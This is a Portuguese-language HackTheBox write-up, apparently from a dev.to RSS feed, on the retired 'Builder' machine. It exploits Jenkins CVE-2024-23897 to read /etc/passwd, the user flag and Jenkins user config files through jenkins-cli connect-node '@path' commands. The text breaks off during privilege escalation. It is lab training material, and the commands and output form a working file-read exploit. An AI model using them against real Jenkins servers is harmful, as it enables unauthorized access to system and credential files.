&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Funecxcwfzjx9klol8nko.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Funecxcwfzjx9klol8nko.png" alt="Pwned!" width="564" height="509"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>python</category>
      <category>php</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Builder [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sat, 27 Apr 2024 16:04:44 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-builder-retired-i3k</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-builder-retired-i3k</guid>
      <description>&lt;h3&gt;
  
  
  Hackthebox
&lt;/h3&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível medium chamada Builder que aborda as seguintes vulnerabilidades e técnicas de exploração&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2024-23897 (Jenkins Arbitrary File Read)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sensitive Data Exposure&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Recon e user flag
&lt;/h4&gt;

&lt;p&gt;Iremos iniciar realizando uma varredura utilizando o nmap para visualizar as portas abertas em nosso alvo:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.220.88
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2024-02-13 12:15 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.220.88
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.26s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
8080/tcp open  http    Jetty 10.0.18
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Podemos ver que existem duas portas abertas em nosso alvo, a porta 22 do ssh e a porta 8080 que roda um Jetty na versão 10.0.18. O Jetty é um servidor web feito em java.&lt;/p&gt;

&lt;p&gt;Ao acessar a porta 8080 pelo navegador temos a seguinte página:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxcdu9ennnq8wrxxo9rgs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxcdu9ennnq8wrxxo9rgs.png" alt="Jenkins"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se trata de um Jenkins na versão 2.441. O jenkins é uma aplicação feita em java com foco em automação no desenvolvimento de software, realiza ações como build, test e deploy de aplicações.&lt;/p&gt;

&lt;p&gt;Podemos notar que é preciso permissões e um usuário para conseguimos acesso a algumas funcionalidades do jenkins, como visualizar histórico de builds, lista os nodes (que possui somente 1 node built in que é nosso alvo).&lt;br&gt;
Também podemos listar os usuários, que no caso temos somente o usuário &lt;strong&gt;jennifer&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F04e2ie39wi6rjix8shbj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F04e2ie39wi6rjix8shbj.png" alt="User Status"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Também conseguimos listar as credenciais:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp89rr68qw7c5w4y22667.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp89rr68qw7c5w4y22667.png" alt="Credentials"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Conseguimos visualizar este conteúdo pelo acesso anônimo estar habilitado.&lt;br&gt;
Outro ponto importante é que notamos que a REST API do jenkins esta habilitada também:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmwmxmxiei4g9zvzxsqfq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmwmxmxiei4g9zvzxsqfq.png" alt="REST API"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Todos estes pontos combinam com uma vulnerabilidade recente do Jenkins, a &lt;a href="https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897" rel="noopener noreferrer"&gt;CVE-2024-23897&lt;/a&gt; que se trata de um &lt;strong&gt;Arbitrary File Read&lt;/strong&gt; na versão 2.441 e anteriores.&lt;/p&gt;

&lt;p&gt;Esta vulnerabilidade ocorre devido a uma má sanitização de um input via CLI, que é utilizado através da REST API do jenkins. Ocorre em uma lib chamada &lt;strong&gt;args4j&lt;/strong&gt; é utilizada para parsear argumentos via CLI. Existe uma feature que substitui o caracter @ seguido pelo path de um arquivo por um argumento com o conteúdo desse arquivo, o que nos permite ler arquivos no servidor.&lt;/p&gt;

&lt;p&gt;No jenkins em nosso alvo conseguimos baixar o .jar que permitirá a comunicação com o jenkins.&lt;br&gt;
Vamos realizar o download da seguinte forma:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# wget http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
&lt;span class="nt"&gt;--2024-02-13&lt;/span&gt; 12:20:57--  http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.129.220.88:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 &lt;span class="o"&gt;(&lt;/span&gt;3.5M&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar                          100%[&lt;span class="o"&gt;=================================================================================&amp;gt;]&lt;/span&gt;   3.46M   547KB/s    &lt;span class="k"&gt;in &lt;/span&gt;8.6s    

2024-02-13 12:21:06 &lt;span class="o"&gt;(&lt;/span&gt;413 KB/s&lt;span class="o"&gt;)&lt;/span&gt; - ‘jenkins-cli.jar’ saved &lt;span class="o"&gt;[&lt;/span&gt;3623400/3623400]



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Para explorar a vulnerabilidade executamos o seguinte comando:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ &lt;span class="nt"&gt;-http&lt;/span&gt; connect-node &lt;span class="s2"&gt;"@/etc/passwd"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'\No'&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;
&lt;span class="nb"&gt;cut&lt;/span&gt;: the delimiter must be a single character
Try &lt;span class="s1"&gt;'cut --help'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;more information.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"&lt;/span&gt; exists.
root:x:0:0:root:/root:/bin/bash: No such agent &lt;span class="s2"&gt;"root:x:0:0:root:/root:/bin/bash"&lt;/span&gt; exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin"&lt;/span&gt; exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin"&lt;/span&gt; exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"_apt:x:42:65534::/nonexistent:/usr/sbin/nologin"&lt;/span&gt; exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"&lt;/span&gt; exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin"&lt;/span&gt; exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin"&lt;/span&gt; exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"bin:x:2:2:bin:/bin:/usr/sbin/nologin"&lt;/span&gt; exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin"&lt;/span&gt; exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin"&lt;/span&gt; exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin"&lt;/span&gt; exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin"&lt;/span&gt; exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent &lt;span class="s2"&gt;"jenkins:x:1000:1000::/var/jenkins_home:/bin/bash"&lt;/span&gt; exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"games:x:5:60:games:/usr/games:/usr/sbin/nologin"&lt;/span&gt; exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin"&lt;/span&gt; exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin"&lt;/span&gt; exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"sys:x:3:3:sys:/dev:/usr/sbin/nologin"&lt;/span&gt; exists.
&lt;span class="nb"&gt;sync&lt;/span&gt;:x:4:65534:sync:/bin:/bin/sync: No such agent &lt;span class="s2"&gt;"sync:x:4:65534:sync:/bin:/bin/sync"&lt;/span&gt; exists.

ERROR: Error occurred &lt;span class="k"&gt;while &lt;/span&gt;performing this &lt;span class="nb"&gt;command&lt;/span&gt;, see previous stderr output.


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Conseguimos o retorno do &lt;strong&gt;/etc/passwd&lt;/strong&gt;, podemos colocar o resultado em um arquivo para filtrar a saída:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' passwd                      
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: 
root:x:0:0:root:/root:/bin/bash: 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: 
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: 
bin:x:2:2:bin:/bin:/usr/sbin/nologin: 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: 
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: 
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: 
games:x:5:60:games:/usr/games:/usr/sbin/nologin: 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: 
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Podemos notar que existem dois usuários, &lt;strong&gt;root&lt;/strong&gt; e &lt;strong&gt;jenkins&lt;/strong&gt;. A home do root é &lt;strong&gt;/root&lt;/strong&gt; e a home do usuário jenkins é &lt;strong&gt;/var/jenkins_home&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Com isso conseguimos buscar a user flag:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ &lt;span class="nt"&gt;-http&lt;/span&gt; connect-node &lt;span class="s2"&gt;"@/var/jenkins_home/user.txt"&lt;/span&gt;          

ERROR: No such agent &lt;span class="s2"&gt;"aea470ff3badab8504db49aa7e1d9e34"&lt;/span&gt; exists.



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h4&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h4&gt;

&lt;p&gt;Agora que temos como ler arquivos podemos buscar por arquivos importantes que podem nos dar credenciais ou informações sensíveis.&lt;br&gt;
Utilizando a documentação do jenkins conseguimos encontrar arquivos importantes, um deles é o &lt;strong&gt;/var/jenkins_home/users/users.xml&lt;/strong&gt; que possui informações de usuários do jenkins:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ &lt;span class="nt"&gt;-http&lt;/span&gt; connect-node &lt;span class="s2"&gt;"@/var/jenkins_home/users/users.xml"&lt;/span&gt;

&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1.1'&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;?&amp;gt;: No such agent &lt;span class="s2"&gt;"&amp;lt;?xml version='1.1' encoding='UTF-8'?&amp;gt;"&lt;/span&gt; exists.
      &amp;lt;string&amp;gt;jennifer_12108429903186576833&amp;lt;/string&amp;gt;: No such agent &lt;span class="s2"&gt;"      &amp;lt;string&amp;gt;jennifer_12108429903186576833&amp;lt;/string&amp;gt;"&lt;/span&gt; exists.
  &amp;lt;idToDirectoryNameMap &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"concurrent-hash-map"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: No such agent &lt;span class="s2"&gt;"  &amp;lt;idToDirectoryNameMap class="&lt;/span&gt;concurrent-hash-map&lt;span class="s2"&gt;"&amp;gt;"&lt;/span&gt; exists.
    &amp;lt;entry&amp;gt;: No such agent &lt;span class="s2"&gt;"    &amp;lt;entry&amp;gt;"&lt;/span&gt; exists.
      &amp;lt;string&amp;gt;jennifer&amp;lt;/string&amp;gt;: No such agent &lt;span class="s2"&gt;"      &amp;lt;string&amp;gt;jennifer&amp;lt;/string&amp;gt;"&lt;/span&gt; exists.
  &amp;lt;version&amp;gt;1&amp;lt;/version&amp;gt;: No such agent &lt;span class="s2"&gt;"  &amp;lt;version&amp;gt;1&amp;lt;/version&amp;gt;"&lt;/span&gt; exists.
&amp;lt;/hudson.model.UserIdMapper&amp;gt;: No such agent &lt;span class="s2"&gt;"&amp;lt;/hudson.model.UserIdMapper&amp;gt;"&lt;/span&gt; exists.
  &amp;lt;/idToDirectoryNameMap&amp;gt;: No such agent &lt;span class="s2"&gt;"  &amp;lt;/idToDirectoryNameMap&amp;gt;"&lt;/span&gt; exists.
&amp;lt;hudson.model.UserIdMapper&amp;gt;: No such agent &lt;span class="s2"&gt;"&amp;lt;hudson.model.UserIdMapper&amp;gt;"&lt;/span&gt; exists.
    &amp;lt;/entry&amp;gt;: No such agent &lt;span class="s2"&gt;"    &amp;lt;/entry&amp;gt;"&lt;/span&gt; exists.

ERROR: Error occurred &lt;span class="k"&gt;while &lt;/span&gt;performing this &lt;span class="nb"&gt;command&lt;/span&gt;, see previous stderr output.


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Iremos adicionar o resultado em um arquivo para uma melhor leitura:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'No such agent'&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; users.xml 
&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1.1'&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;?&amp;gt;: 
      &amp;lt;string&amp;gt;jennifer_12108429903186576833&amp;lt;/string&amp;gt;: 
  &amp;lt;idToDirectoryNameMap &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"concurrent-hash-map"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
    &amp;lt;entry&amp;gt;: 
      &amp;lt;string&amp;gt;jennifer&amp;lt;/string&amp;gt;: 
  &amp;lt;version&amp;gt;1&amp;lt;/version&amp;gt;: 
&amp;lt;/hudson.model.UserIdMapper&amp;gt;: 
  &amp;lt;/idToDirectoryNameMap&amp;gt;: 
&amp;lt;hudson.model.UserIdMapper&amp;gt;: 
    &amp;lt;/entry&amp;gt;: 



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Essa informação é importante porque aqui descobrimos o diretório com as informações do usuário jennifer, que o jenkins cria com um número randomico: &lt;strong&gt;jennifer_12108429903186576833&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Descobrimos assim a conteúdo do arquivo que contém as informações do usuário:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
...


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Conseguimos visualizar melhor filtrando em um arquivo:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'No such agent'&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; jennifer-config.xml 
&amp;lt;hudson.tasks.Mailer_-UserProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"mailer@463.vedf8358e006b_"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
    &amp;lt;hudson.search.UserSearchProperty&amp;gt;: 
      &amp;lt;roles&amp;gt;: 
    &amp;lt;jenkins.security.seed.UserSeedProperty&amp;gt;: 
      &amp;lt;/tokenStore&amp;gt;: 
    &amp;lt;/hudson.search.UserSearchProperty&amp;gt;: 
      &amp;lt;timeZoneName&amp;gt;&amp;lt;/timeZoneName&amp;gt;: 
  &amp;lt;properties&amp;gt;: 
    &amp;lt;jenkins.security.LastGrantedAuthoritiesProperty&amp;gt;: 
      &amp;lt;flags/&amp;gt;: 
    &amp;lt;hudson.model.MyViewsProperty&amp;gt;: 
&amp;lt;/user&amp;gt;: 
    &amp;lt;/jenkins.security.ApiTokenProperty&amp;gt;: 
      &amp;lt;views&amp;gt;: 
        &amp;lt;string&amp;gt;authenticated&amp;lt;/string&amp;gt;: 
    &amp;lt;org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"display-url-api@2.200.vb_9327d658781"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
&amp;lt;user&amp;gt;: 
          &amp;lt;name&amp;gt;all&amp;lt;/name&amp;gt;: 
  &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;: 
      &amp;lt;emailAddress&amp;gt;jennifer@builder.htb&amp;lt;/emailAddress&amp;gt;: 
      &amp;lt;collapsed/&amp;gt;: 
    &amp;lt;/jenkins.security.seed.UserSeedProperty&amp;gt;: 
    &amp;lt;/org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty&amp;gt;: 
    &amp;lt;/hudson.model.MyViewsProperty&amp;gt;: 
      &amp;lt;domainCredentialsMap &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hudson.util.CopyOnWriteMap&lt;/span&gt;&lt;span class="nv"&gt;$Hash&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/&amp;gt;: 
          &amp;lt;filterQueue&amp;gt;false&amp;lt;/filterQueue&amp;gt;: 
    &amp;lt;jenkins.security.ApiTokenProperty&amp;gt;: 
      &amp;lt;primaryViewName&amp;gt;&amp;lt;/primaryViewName&amp;gt;: 
      &amp;lt;/views&amp;gt;: 
    &amp;lt;/hudson.model.TimeZoneProperty&amp;gt;: 
    &amp;lt;com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"credentials@1319.v7eb_51b_3a_c97b_"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
    &amp;lt;/hudson.model.PaneStatusProperties&amp;gt;: 
    &amp;lt;/hudson.tasks.Mailer_-UserProperty&amp;gt;: 
        &amp;lt;tokenList/&amp;gt;: 
    &amp;lt;jenkins.console.ConsoleUrlProviderUserProperty/&amp;gt;: 
        &amp;lt;/hudson.model.AllView&amp;gt;: 
      &amp;lt;timestamp&amp;gt;1707318554385&amp;lt;/timestamp&amp;gt;: 
          &amp;lt;owner &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hudson.model.MyViewsProperty"&lt;/span&gt; &lt;span class="nv"&gt;reference&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"../../.."&lt;/span&gt;/&amp;gt;: 
  &amp;lt;/properties&amp;gt;: 
    &amp;lt;/jenkins.model.experimentalflags.UserExperimentalFlagsProperty&amp;gt;: 
    &amp;lt;/com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty&amp;gt;: 
    &amp;lt;hudson.security.HudsonPrivateSecurityRealm_-Details&amp;gt;: 
      &amp;lt;insensitiveSearch&amp;gt;true&amp;lt;/insensitiveSearch&amp;gt;: 
          &amp;lt;properties &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hudson.model.View&lt;/span&gt;&lt;span class="nv"&gt;$PropertyList&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/&amp;gt;: 
    &amp;lt;hudson.model.TimeZoneProperty&amp;gt;: 
        &amp;lt;hudson.model.AllView&amp;gt;: 
    &amp;lt;/hudson.security.HudsonPrivateSecurityRealm_-Details&amp;gt;: 
      &amp;lt;providerId&amp;gt;default&amp;lt;/providerId&amp;gt;: 
      &amp;lt;/roles&amp;gt;: 
    &amp;lt;/jenkins.security.LastGrantedAuthoritiesProperty&amp;gt;: 
    &amp;lt;jenkins.model.experimentalflags.UserExperimentalFlagsProperty&amp;gt;: 
    &amp;lt;hudson.model.PaneStatusProperties&amp;gt;: 
&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1.1'&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;?&amp;gt;: 
  &amp;lt;fullName&amp;gt;jennifer&amp;lt;/fullName&amp;gt;: 
      &amp;lt;seed&amp;gt;6841d11dc1de101d&amp;lt;/seed&amp;gt;: 
  &amp;lt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;jennifer&amp;lt;/id&amp;gt;: 
  &amp;lt;version&amp;gt;10&amp;lt;/version&amp;gt;: 
      &amp;lt;tokenStore&amp;gt;: 
          &amp;lt;filterExecutors&amp;gt;false&amp;lt;/filterExecutors&amp;gt;: 
